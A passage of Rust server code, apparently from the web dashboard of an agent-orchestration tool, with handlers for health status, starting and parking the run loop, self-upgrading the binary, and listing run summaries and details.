1688/// this behaves like `notify` for as long as the deck stays up, and an
1689/// actual self-install still happens exactly where it always has: once, at
1690/// the next process start.
1691async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1692    loop {
1693        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1694        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1695        if !should_spawn_recheck(&cfg.update) {
1696            continue;
1697        }
1698        let Some(checker) = updater::Checker::new(&cfg.update) else {
1699            continue;
1700        };
1701        let progress = updater::read_progress(&home);
1702        if !update_recheck_due(&checker, progress.as_ref()) {
1703            continue;
1704        }
1705        if let Err(e) = checker.newer_release().await {
1706            tracing::warn!("background update recheck failed: {e:#}");
1707        }
1708    }
1709}
1710
1711/// [`UpdateView`] from the same throttled, disk-only state
1712/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1713/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1714/// no cached state at all, which is correct: an operator who turned checking
1715/// off gets no opinion, not a stale one.
1716fn cached_update_view(repo: &FsPath) -> UpdateView {
1717    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1718    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1719    match latest {
1720        Some(latest) => UpdateView {
1721            available: true,
1722            to: Some(latest.tag_name),
1723        },
1724        None => UpdateView {
1725            available: false,
1726            to: None,
1727        },
1728    }
1729}
1730
1731/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1732/// from the parked run's own state when the stage is
1733/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1734/// already on disk in `run.json`, so this reads them fresh rather than
1735/// trusting whatever was true the moment the park was requested.
1736fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1737    let waiting_on = (progress.stage == updater::Stage::Parking)
1738        .then_some(progress.parked_run.as_deref())
1739        .flatten()
1740        .and_then(|id| read_run(&ui.runs, id).ok())
1741        .map(|run| {
1742            format!(
1743                "run {} is finishing {} before the address is handed over",
1744                run.short(),
1745                run.status.as_str()
1746            )
1747        });
1748    UpgradeProgressView {
1749        stage: progress.stage,
1750        from: progress.from,
1751        to: progress.to,
1752        waiting_on,
1753        started_at: progress.started_at,
1754        updated_at: progress.updated_at,
1755        detail: progress.detail,
1756    }
1757}
1758
1759/// The disk figures `/api/health` carries. Every number is produced by
1760/// [`crate::disk`], the same code that decides a run may not start, so the
1761/// health screen and the gate cannot disagree about what the machine looks
1762/// like.
1763#[derive(Debug, Serialize)]
1764struct DiskView {
1765    /// Free bytes on the volume holding the runs, when measurable.
1766    #[serde(skip_serializing_if = "Option::is_none")]
1767    free_bytes: Option<u64>,
1768    /// Everything the runs directory occupies, unreadable runs included.
1769    runs_bytes: u64,
1770    /// Everything the runs' worktrees occupy.
1771    worktrees_bytes: u64,
1772    /// The shared build cache's size, when the config names one.
1773    #[serde(skip_serializing_if = "Option::is_none")]
1774    cache_bytes: Option<u64>,
1775}
1776
1777impl DiskView {
1778    /// Measure the three directories and re-read the config's cache.
1779    fn of(ui: &Ui) -> Self {
1780        let cache_bytes = Config::discover(&ui.repo, None)
1781            .ok()
1782            .and_then(|(cfg, _)| cfg.cache_dir())
1783            .map(|dir| crate::disk::dir_size(&dir));
1784        Self {
1785            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1786            runs_bytes: crate::disk::dir_size(&ui.runs),
1787            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1788            cache_bytes,
1789        }
1790    }
1791}
1792
1793/// The daemon's state as the UI presents it.
1794#[derive(Debug, Serialize)]
1795struct DaemonView {
1796    running: bool,
1797    idle: Option<bool>,
1798    pid: Option<u32>,
1799    /// Every task and run currently in flight. Empty when idle; more than
1800    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1801    /// run going at once.
1802    current: Vec<daemon::Current>,
1803    completed: Option<u64>,
1804    stale_for_secs: Option<i64>,
1805}
1806
1807impl DaemonView {
1808    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1809    /// not this UI's — a crashed daemon must not look alive here while
1810    /// `doctor` calls it dead.
1811    fn of(status: Option<daemon::Reading>) -> Self {
1812        let Some(status) = status else {
1813            return Self {
1814                running: false,
1815                idle: None,
1816                pid: None,
1817                current: Vec::new(),
1818                completed: None,
1819                stale_for_secs: None,
1820            };
1821        };
1822        let now = Timestamp::now();
1823        let age = status.age_secs(now);
1824        Self {
1825            running: status.running(now),
1826            idle: Some(status.idle),
1827            pid: status.pid,
1828            current: status.current,
1829            completed: Some(status.completed),
1830            stale_for_secs: age,
1831        }
1832    }
1833}
1834
1835async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1836    blocking(move || {
1837        // One read of the status file for the two fields that describe it, so
1838        // `daemon` and `loop` in the same answer cannot disagree about who is
1839        // running the loop.
1840        let reading = daemon::read_status(&ui.home);
1841        // Read on its own line, not inside the literal below: the loop's lock
1842        // is not reentrant, and a guard taken as a temporary there would still
1843        // be held when `loop_view` took it again.
1844        let loop_rev = ui.lock_loop().rev;
1845        let update = cached_update_view(&ui.repo);
1846        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1847        Ok(Json(HealthView {
1848            version: env!("CARGO_PKG_VERSION"),
1849            home: ui.home.display().to_string(),
1850            queue_rev: ui.queue.revision(),
1851            runs_rev: runs_revision(&ui.runs),
1852            questions_rev: ui.questions.revision(),
1853            talks_rev: ui.talks.revision(),
1854            notifications_rev: ui.notices.revision(),
1855            notifications_unread: ui.notices.count_unread(),
1856            loop_rev,
1857            runs_unreadable: runs_unreadable(&ui.runs),
1858            questions_open: ui.questions.count_open(),
1859            questions_needs_owner: ui.questions.count_needs_owner(),
1860            daemon: DaemonView::of(reading.clone()),
1861            looping: ui.loop_view(reading),
1862            disk: DiskView::of(&ui),
1863            update,
1864            upgrade,
1865        }))
1866    })
1867    .await
1868}
1869
1870/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1871#[derive(Debug, Serialize)]
1872struct LoopView {
1873    /// A loop is running in *this* process.
1874    running: bool,
1875    /// It has been asked to stop and is still finishing a run.
1876    ///
1877    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1878    /// because the two differ exactly where it matters: a loop asked to stop
1879    /// while idle is gone within one poll interval, and one asked to stop
1880    /// mid-run keeps going for as long as the graph takes. The operator needs
1881    /// to be told which of those they are waiting for.
1882    stopping: bool,
1883    /// A park was asked for: the run in flight stops at its next node
1884    /// boundary rather than finishing.
1885    ///
1886    /// Separate from `stopping` because the two promise different waits. A
1887    /// stop is "when this competition ends", which can be an hour; a park is
1888    /// "after the step it is on", which is minutes and is what an operator
1889    /// waiting to replace the binary needs to see.
1890    parking: bool,
1891    /// The loop is this process's own.
1892    ///
1893    /// Spelled separately from `running` for the front end's sake, even
1894    /// though inside this process the two move together: `running: false`
1895    /// with `daemon.running: true` is the case where the operator's own `magi
1896    /// serve` owns the loop, and `owned` is the field that tells the UI its
1897    /// buttons have to explain that rather than pretend.
1898    owned: bool,
1899    /// Repository the loop uses for tasks that name none - what it was
1900    /// started with while it runs, and what a start would use before that.
1901    repo: String,
1902    /// Merge mode override in force, or `null` when each repository's own
1903    /// config decides.
1904    merge: Option<String>,
1905    /// Why the last loop in this process ended, when it ended badly.
1906    ///
1907    /// The only place a crashed loop is visible to someone holding a phone.
1908    /// It is logged at error level as well, but a terminal nobody kept open
1909    /// is not a report, and a loop that died at 3am must not read as merely
1910    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1911    /// answers the same question about the same kind of failure.
1912    last_error: Option<String>,
1913    /// The status file, judged the same way `/api/health` judges it: this is
1914    /// what says whether a loop is alive in some *other* process.
1915    daemon: DaemonView,
1916}
1917
1918/// A loop another process already owns.
1919///
1920/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1921/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1922/// published by a pid that is not ours. Excluding our own pid is what makes
1923/// stopping work at all - the loop this process runs writes that file too, so
1924/// a check that ignored the pid would decide the operator's own UI was a
1925/// stranger and refuse to stop the loop it had just started.
1926#[derive(Debug, Clone, Copy)]
1927struct Foreign {
1928    /// The pid the other process published, when it published one.
1929    pid: Option<u32>,
1930}
1931
1932impl Foreign {
1933    /// Another process's live loop, or `None` when this process is free to
1934    /// run one.
1935    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1936        let reading = reading?;
1937        if !reading.running(Timestamp::now()) {
1938            return None;
1939        }
1940        match reading.pid {
1941            Some(pid) if pid == std::process::id() => None,
1942            // A fresh heartbeat with no pid in it is still evidence of a live
1943            // daemon. "Some other process" is the honest answer, and refusing
1944            // to start beside it is the safe one.
1945            pid => Some(Self { pid }),
1946        }
1947    }
1948
1949    /// How a conflict names it. The pid is the whole point of the message: it
1950    /// is what the operator needs to find the terminal that owns the loop.
1951    fn who(&self) -> String {
1952        match self.pid {
1953            Some(pid) => format!("another magi process (pid {pid})"),
1954            None => "another magi process".to_owned(),
1955        }
1956    }
1957}
1958
1959/// How a loop is started, as a future this module can hold onto.
1960///
1961/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1962/// trait object or a hand-written `Debug` impl for the sake of one seam.
1963type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1964
1965/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1966fn launch_daemon(
1967    opts: daemon::Opts,
1968    stop: daemon::Stop,
1969) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1970    Box::pin(daemon::serve_until(opts, stop))
1971}
1972
1973/// The loop this process runs, behind one lock.
1974#[derive(Debug, Default)]
1975struct LoopState {
1976    /// The loop, while there is one.
1977    live: Option<Live>,
1978    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1979    ///
1980    /// The loop is in-process state rather than a file, so nothing on disk
1981    /// would tell a second phone that the first one started it. Without this
1982    /// counter the only way to learn about a start, a stop request or a crash
1983    /// would be to poll `/api/loop`, which is the thing the change stream
1984    /// exists to avoid on a mobile link.
1985    rev: u64,
1986    /// Why the last loop ended, when it ended badly. See
1987    /// [`LoopView::last_error`].
1988    last_error: Option<String>,
1989    /// The loop was running (and not already stopping) when the last upgrade
1990    /// parked it, so the successor should start one. Set afresh by every
1991    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
1992    /// update.
1993    resume_after_handover: bool,
1994}
1995
1996/// A loop in flight.
1997#[derive(Debug)]
1998struct Live {
1999    /// The cooperative stop, shared with the loop task.
2000    stop: daemon::Stop,
2001    /// The task itself, kept only to answer whether it is still there: a loop
2002    /// that panicked never records its own end, and without this the view
2003    /// would go on reporting a loop that no longer exists - the one lie that
2004    /// would leave the operator with no button to press.
2005    handle: tokio::task::JoinHandle<()>,
2006    /// What the loop was started with, so the view reports the repository and
2007    /// merge mode its runs will actually use rather than what an edit to the
2008    /// config since would give.
2009    opts: daemon::Opts,
2010}
2011
2012impl Live {
2013    /// Is the task still there? See [`Live::handle`].
2014    fn alive(&self) -> bool {
2015        !self.handle.is_finished()
2016    }
2017}
2018
2019/// Take the loop lock, recovering from a poisoned one.
2020///
2021/// What this mutex holds is a stop flag, a task handle and two counters, none
2022/// of which a panic elsewhere can leave in a state worth refusing to read.
2023/// Propagating the poison instead would mean an operator who can see the loop
2024/// running and can no longer stop it from the only surface they have.
2025fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2026    state.lock().unwrap_or_else(PoisonError::into_inner)
2027}
2028
2029/// `GET /api/loop`.
2030async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2031    blocking(move || {
2032        let reading = daemon::read_status(&ui.home);
2033        Ok(Json(ui.loop_view(reading)))
2034    })
2035    .await
2036}
2037
2038/// The body of `POST /api/loop`.
2039///
2040/// One required field and nothing else: no `default` and no unknown fields,
2041/// so a body that fails to say which way the switch was flipped is a 400
2042/// rather than a tap that quietly does the opposite of what was pressed.
2043#[derive(Debug, Deserialize)]
2044#[serde(deny_unknown_fields)]
2045struct LoopCommand {
2046    running: bool,
2047    /// Stop the run in flight at its next node boundary rather than letting it
2048    /// finish.
2049    ///
2050    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2051    /// competition is tens of minutes of paid work and finishing it is
2052    /// normally the cheapest thing to do. A park is for the operator who
2053    /// wants the process gone now - to replace the binary, most of all - and
2054    /// it costs at most the node in progress because every node writes its
2055    /// state before the next one starts.
2056    #[serde(default)]
2057    park: bool,
2058}
2059
2060/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2061///
2062/// Answers with the view rather than waiting for the loop to reach the state
2063/// that was asked for. Starting is immediate anyway; stopping is not, and the
2064/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2065/// request open for. `stopping` in the answer is what the operator watches
2066/// instead.
2067async fn loop_post(
2068    State(ui): State<Arc<Ui>>,
2069    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2070) -> ApiResult<Json<LoopView>> {
2071    // Taken as a `Result` so a malformed body is a 400 like every other route
2072    // here, rather than axum's default 422 that the UI has no branch for.
2073    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2074    blocking(move || {
2075        let reading = daemon::read_status(&ui.home);
2076        let foreign = Foreign::of(reading.as_ref());
2077        if body.running {
2078            ui.start_loop(foreign)?;
2079        } else {
2080            ui.stop_loop(foreign, body.park)?;
2081        }
2082        Ok(Json(ui.loop_view(reading)))
2083    })
2084    .await
2085}
2086
2087/// What `POST /api/upgrade` set in motion.
2088#[derive(Debug, Serialize)]
2089struct UpgradeView {
2090    /// The version this process is running.
2091    from: String,
2092    /// The release it is replacing itself with, when there is one.
2093    to: Option<String>,
2094    /// A run was parked first, and this is its id.
2095    parked: Option<String>,
2096    /// What the operator should expect to happen next.
2097    detail: String,
2098}
2099
2100/// `POST /api/upgrade` - replace this binary with the newest release and come
2101/// back on it.
2102///
2103/// The one thing the deck could not do for itself. Every fix landed today
2104/// either waited for a competition to end or went in with the deck stopped,
2105/// because `cargo install` cannot overwrite a running executable on Windows.
2106/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2107/// the new one in its place, so the swap itself needs no downtime. Only the
2108/// restart does, and the order is the whole design:
2109///
2110/// 1. **Park.** A run in flight stops at its next node boundary and stays
2111///    resumable, so this costs at most the node in progress rather than the
2112///    competition. Without it the honest choices were waiting an hour or
2113///    discarding paid agent work.
2114/// 2. **Replace.** The new binary goes into place while this one still runs.
2115/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2116///    successor - see [`spawn_successor`] for what happens in the other
2117///    order.
2118/// 4. **Resume.** The next loop carries the parked run on rather than
2119///    competing again; see `daemon::attempt`.
2120///
2121/// Answers **202**: the reply has to reach the phone while this process can
2122/// still send one, and the phone learns the deck is back by reconnecting.
2123async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2124    let reading = daemon::read_status(&ui.home);
2125    if let Some(other) = Foreign::of(reading.as_ref()) {
2126        return Err(ApiError::conflict(format!(
2127            "the loop belongs to {}, so replacing this binary would leave \
2128             that process running an old one against the same queue. Upgrade \
2129             where it was started.",
2130            other.who()
2131        )));
2132    }
2133
2134    // The same kill switch the background check honours (`disabled_by_env`),
2135    // checked before anything else for the same reason it is read before the
2136    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2137    // contact GitHub from this process", and a button press must not
2138    // override that any more than a broken `magi.toml` may.
2139    if crate::updater::disabled_by_env() {
2140        return Ok((
2141            StatusCode::OK,
2142            Json(UpgradeView {
2143                from: env!("CARGO_PKG_VERSION").to_owned(),
2144                to: None,
2145                parked: None,
2146                detail: format!(
2147                    "Automatic updates are disabled by {}. Nothing was parked \
2148                     and nothing restarted.",
2149                    crate::updater::NO_AUTOUPDATE_ENV
2150                ),
2151            }),
2152        ));
2153    }
2154
2155    // Asked before anything is disturbed. Restarting when there is nothing
2156    // to install is not a harmless no-op: it parks the run in flight and
2157    // drops every connection to pay for an upgrade that did not happen. A
2158    // probe against a deck already on the newest build did exactly that.
2159    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2160    let from = env!("CARGO_PKG_VERSION").to_owned();
2161    let latest = match crate::updater::Checker::new(&cfg.update) {
2162        Some(checker) => checker
2163            .newer_release()
2164            .await
2165            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2166        None => None,
2167    };
2168    let Some(latest) = latest else {
2169        return Ok((
2170            StatusCode::OK,
2171            Json(UpgradeView {
2172                from,
2173                to: None,
2174                parked: None,
2175                detail: "Already on the newest release. Nothing was parked \
2176                         and nothing restarted."
2177                    .to_owned(),
2178            }),
2179        ));
2180    };
2181
2182    // Parked before anything is replaced: a successor that came up while a
2183    // run was mid-node would find a run nobody is driving.
2184    let parked = ui.park_for_upgrade()?;
2185    let detail = match &parked {
2186        // Honest about the wait. A park takes effect at the *next* node
2187        // boundary, so a run mid-implement finishes that wave first - up to
2188        // `timeout_implement`, an hour by default. Saying "restarting now"
2189        // would make the deck look wedged for the rest of it.
2190        Some(run) => format!(
2191            "Run {} is parking at its next step, which can take as long as \
2192             the step it is on - up to an hour for an implement wave. The \
2193             deck replaces itself once it parks, comes back, and the loop \
2194             carries that run on from where it stopped. Nothing is lost if \
2195             you close this.",
2196            crate::run::short_of(run)
2197        ),
2198        None => "The deck replaces itself and comes back. Nothing was in \
2199                 flight to park."
2200            .to_owned(),
2201    };
2202
2203    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2204    // poll must see a `Downloading` stage immediately, not whenever the
2205    // spawned task happens to get scheduled.
2206    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2207    progress.parked_run = parked.clone();
2208    let _ = updater::write_progress(&ui.home, &progress);
2209
2210    let home = ui.home.clone();
2211    let looping = ui.looping();
2212    tokio::spawn(async move {
2213        if let Err(e) = upgrade_and_restart(home.clone()).await {
2214            tracing::error!("the upgrade did not complete: {e:#}");
2215            lock_or_recover(&looping).resume_after_handover = false;
2216            if let Some(mut progress) = updater::read_progress(&home) {
2217                progress.fail(format!("{e:#}"));
2218                let _ = updater::write_progress(&home, &progress);
2219            }
2220        }
2221    });
2222
2223    Ok((
2224        StatusCode::ACCEPTED,
2225        Json(UpgradeView {
2226            from,
2227            to: Some(latest.tag_name),
2228            parked,
2229            detail,
2230        }),
2231    ))
2232}
2233
2234/// Replace the binary, then ask [`serve`] to hand the address over.
2235///
2236/// Separated from the handler so the 202 is already on its way, and separated
2237/// from the spawn so the successor starts only after the listener is dropped.
2238async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2239    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2240    // hang the upgrade for as long as the process lives.
2241    crate::updater::run_self_update(true, false, true).await?;
2242    tracing::info!("binary replaced - asking the server to hand over");
2243    if let Some(mut progress) = updater::read_progress(&home) {
2244        progress.advance(updater::Stage::Replaced);
2245        let _ = updater::write_progress(&home, &progress);
2246    }
2247    HANDOVER.notify_one();
2248    Ok(())
2249}
2250
2251/// One row in the run list.
2252///
2253/// The list route returns this rather than whole `RunState`s: the summary of a
2254/// run is a few hundred bytes and the state is megabytes, and the difference
2255/// is what makes the history usable on a mobile link.
2256#[derive(Debug, Serialize)]
2257struct RunSummary {
2258    id: String,
2259    short: String,
2260    status: String,
2261    done: bool,
2262    instruction: String,
2263    title: String,
2264    repo: String,
2265    repo_name: String,
2266    created_at: String,
2267    updated_at: String,
2268    candidates: usize,
2269    viable: usize,
2270    judges: usize,
2271    winner: Option<char>,
2272    reviews: usize,
2273    quota_losses: usize,
2274    event: Option<String>,
2275    /// The later attempt at the same task that replaced this one, if any.
2276    ///
2277    /// Two cards with one title is otherwise unreadable: this is what lets
2278    /// the deck say "superseded by 4043" on the older of the pair.
2279    superseded_by: Option<String>,
2280    /// Blocked on a question nobody has answered.
2281    ///
2282    /// Derived from the question store rather than stored on the run: an agent
2283    /// calling `magi ask` blocks mid-node, and writing a status from there
2284    /// would race the graph's own save of `run.json` and be overwritten at the
2285    /// next node boundary. Asking the store is always true and never races.
2286    waiting: bool,
2287    /// Whether the process recorded as driving this run can still be proven
2288    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2289    /// rather than presenting its last graph node as still in flight.
2290    live: crate::run::Liveness,
2291    /// The land loop's last look at the pull request, when there is one.
2292    pr: Option<crate::run::PrRecord>,
2293    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2294    /// design — never picked up by the PR-polling merge watcher, unlike an
2295    /// ordinary `Ready` that may still be a live landing candidate. See
2296    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2297    /// re-deriving the same check from `status` and `merge.mode` itself.
2298    unmerged_by_design: bool,
2299    /// Who started the run, as the one label every surface shares; the
2300    /// "origin unknown" wording when the record predates origins.
2301    origin_label: String,
2302}
2303
2304impl RunSummary {
2305    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2306        Self {
2307            id: state.id.clone(),
2308            short: state.short().to_owned(),
2309            status: status_word(state.status),
2310            done: state.status.done(),
2311            unmerged_by_design: state.unmerged_by_design(),
2312            instruction: state.instruction.clone(),
2313            title: title_from(&state.instruction, TITLE_MAX),
2314            repo: state.repo.display().to_string(),
2315            repo_name: state
2316                .repo
2317                .file_name()
2318                .map(|n| n.to_string_lossy().into_owned())
2319                .unwrap_or_default(),
2320            created_at: state.created_at.to_string(),
2321            updated_at: state.updated_at.to_string(),
2322            candidates: state.candidates.len(),
2323            viable: state.viable().len(),
2324            judges: state.config.graph.judges,
2325            winner: state.winner().map(|c| c.label),
2326            reviews: state.reviews.len(),
2327            quota_losses: state.quota.len(),
2328            event: state.events.last().map(|e| e.message.clone()),
2329            waiting,
2330            live,
2331            // Filled in by the list route, which is the only place that can
2332            // see a task's other attempts.
2333            superseded_by: None,
2334            pr: state.pr.clone(),
2335            origin_label: crate::run::origin_label(state.origin.as_ref()),
2336        }
2337    }
2338}
2339
2340/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2341/// the same string `serde` writes for the status inside a full run.
2342fn status_word(status: RunStatus) -> String {
2343    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2344    // was a third way of naming the same statuses, and one that changed
2345    // silently with a derive.
2346    status.as_str().to_owned()
2347}
2348
2349/// `?limit=`, clamped by the handler.
2350#[derive(Debug, Deserialize)]
2351struct ListQuery {
2352    #[serde(default)]
2353    limit: Option<usize>,
2354}
2355
2356async fn runs_list(
2357    State(ui): State<Arc<Ui>>,
2358    Query(q): Query<ListQuery>,
2359) -> ApiResult<Json<Vec<RunSummary>>> {
2360    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2361    blocking(move || {
2362        let superseded = ui.queue.superseded();
2363        // Everything the per-run rows share is read once here. Asking per run
2364        // re-read every question file and the daemon status file for each of
2365        // hundreds of runs, and spawned a process probe per run on Windows.
2366        let open_runs: HashSet<String> = ui
2367            .questions
2368            .list()
2369            .into_iter()
2370            .filter(|q| q.status.open())
2371            .map(|q| q.run)
2372            .collect();
2373        let claimed: HashSet<String> =
2374            crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2375                .into_iter()
2376                .map(|c| c.run)
2377                .collect();
2378        let states = run_ids(&ui.runs)
2379            .into_iter()
2380            // A run whose state cannot be read is skipped, not fatal: a run
2381            // killed mid-write must not blank the history of every other one.
2382            // The detail route still explains it, which is where an operator
2383            // asking "what happened to that run" ends up.
2384            .filter_map(|id| read_run(&ui.runs, &id).ok())
2385            .take(limit);
2386        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2387        let summaries = summarize(
2388            states,
2389            &open_runs,
2390            &claimed,
2391            &superseded,
2392            |p| probe.borrow_mut().status(p),
2393            |p| probe.borrow_mut().started_at(p),
2394        );
2395        Ok(Json(summaries))
2396    })
2397    .await
2398}
2399
2400/// The rows of the run list, given everything that is shared between them.
2401///
2402/// Pure over its inputs so a test can count how often the process queries are
2403/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2404/// takes, called at most once per run.
2405fn summarize<I, S, D>(
2406    states: I,
2407    open_runs: &HashSet<String>,
2408    claimed: &HashSet<String>,
2409    superseded: &HashMap<String, String>,
2410    mut status_q: S,
2411    mut identity_q: D,
2412) -> Vec<RunSummary>
2413where
2414    I: IntoIterator<Item = RunState>,
2415    S: FnMut(u32) -> Option<bool>,
2416    D: FnMut(u32) -> Option<String>,
2417{
2418    states
2419        .into_iter()
2420        .map(|state| {
2421            let waiting = open_runs.contains(&state.id);
2422            let live =
2423                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2424            let mut row = RunSummary::of(&state, waiting, live);
2425            row.superseded_by = superseded
2426                .get(&state.id)
2427                .map(String::as_str)
2428                .map(crate::run::short_of)
2429                .map(str::to_owned);
2430            row
2431        })
2432        .collect()
2433}
2434
2435/// A run as the detail route hands it to the phone.
2436///
2437/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2438/// the instruction as markdown, and the raw `instruction` field this struct
2439/// still carries (unchanged) is what a client wanting the exact bytes reads
2440/// instead.
2441#[derive(Debug, Serialize)]
2442struct RunDetailView {
2443    #[serde(flatten)]
2444    state: RunState,
2445    instruction_md: Vec<md::Node>,
2446    /// Whether a process is actually still driving this run: `"live"`,
2447    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2448    ///
2449    /// `state.active` (flattened in above) is only ever cleared by the
2450    /// process that populated it; a killed one leaves its last wave's
2451    /// entries behind. Carrying this alongside is what lets the phone rail
2452    /// tell "this seat is still answering" from "this seat was still
2453    /// answering when whatever was driving this run died" without a second
2454    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2455    /// proof of either. A string rather than a bool on purpose: a daemon
2456    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2457    /// and neither proven is `"unknown"` — folding that third case into
2458    /// either end of a bool is exactly the wrong call for a phone screen an
2459    /// operator uses to decide whether to wait or to act.
2460    live: crate::run::Liveness,
2461    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2462    /// alongside the flattened `state` rather than inside it, since
2463    /// `RunState` has no business knowing which of its own methods a caller
2464    /// wants serialized.
2465    unmerged_by_design: bool,
2466    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2467    /// route fills it from [`Queue::superseded`], the detail route from
2468    /// [`Queue::superseded_by`], and both read the same underlying task
2469    /// order. Without this the detail page could only ever show a red
2470    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2471    /// with nothing anywhere saying so — an operator opening it had no way
2472    /// to tell "this is done elsewhere" from "this still needs a retry".
2473    superseded_by: Option<String>,
2474    /// The task's current attempt, when this run is an older one — resolved
2475    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2476    /// the client to derive.
2477    ///
2478    /// Three things a client cannot safely do on its own drove this onto the
2479    /// server: it has to name the chain's *current head*, not just the next
2480    /// attempt (`superseded_by` above), because an intermediate retry in a
2481    /// longer chain can itself still be unresolved; it has to resolve to a
2482    /// real id rather than a short id a client would have to guess a full id
2483    /// from, which is ambiguous the moment two runs share a suffix; and it
2484    /// has to read that head's own status directly, because whether a run
2485    /// list a client happens to have cached even contains that attempt
2486    /// depends on a page limit this route knows nothing about.
2487    latest_attempt: Option<LatestAttempt>,
2488    /// The queue task this run belongs to, so the detail page can link back
2489    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2490    task: Option<TaskRef>,
2491    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2492    /// run recorded before origins existed. `origin` itself (flattened in
2493    /// with `state`) is `null` in that case.
2494    origin_label: String,
2495}
2496
2497/// A task named from a run's detail page.
2498#[derive(Debug, Serialize)]
2499struct TaskRef {
2500    id: String,
2501    short: String,
2502    title: String,
2503}
2504
2505/// The task's current attempt, as seen from an older one's detail page.
2506#[derive(Debug, Serialize)]
2507struct LatestAttempt {
2508    id: String,
2509    short: String,
2510    /// Whether this attempt itself settled with a result nobody needs to
2511    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2512    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2513    /// unconfirmed claim that no change was needed, which is exactly why it
2514    /// settles the task through `Held` rather than `Done` and still waits on
2515    /// a human to check the evidence; showing an older run as "finished
2516    /// elsewhere" on the strength of an unverified claim would bury the
2517    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2518    /// in-flight status are excluded because they are exactly the
2519    /// unresolved states this field exists to tell apart from a real finish.
2520    resolved: bool,
2521}
2522
2523impl RunDetailView {
2524    fn of(
2525        state: RunState,
2526        live: crate::run::Liveness,
2527        superseded_by: Option<String>,
2528        latest_attempt: Option<LatestAttempt>,
2529        task: Option<TaskRef>,
2530    ) -> Self {
2531        Self {
2532            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2533            origin_label: crate::run::origin_label(state.origin.as_ref()),
2534            live,
2535            unmerged_by_design: state.unmerged_by_design(),
2536            superseded_by,
2537            latest_attempt,
2538            task,
2539            state,
2540        }
2541    }
2542}
2543
2544async fn run_detail(
2545    State(ui): State<Arc<Ui>>,
2546    Path(id): Path<String>,
2547) -> ApiResult<Json<RunDetailView>> {
2548    blocking(move || {
2549        let id = resolve_run(&ui.runs, &id)?;
2550        let state = read_run(&ui.runs, &id)?;
2551        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2552        let live = state.liveness(daemon_claims);
2553        let superseded_by = ui
2554            .queue
2555            .superseded_by(&id)
2556            .as_deref()
2557            .map(crate::run::short_of)
2558            .map(str::to_owned);
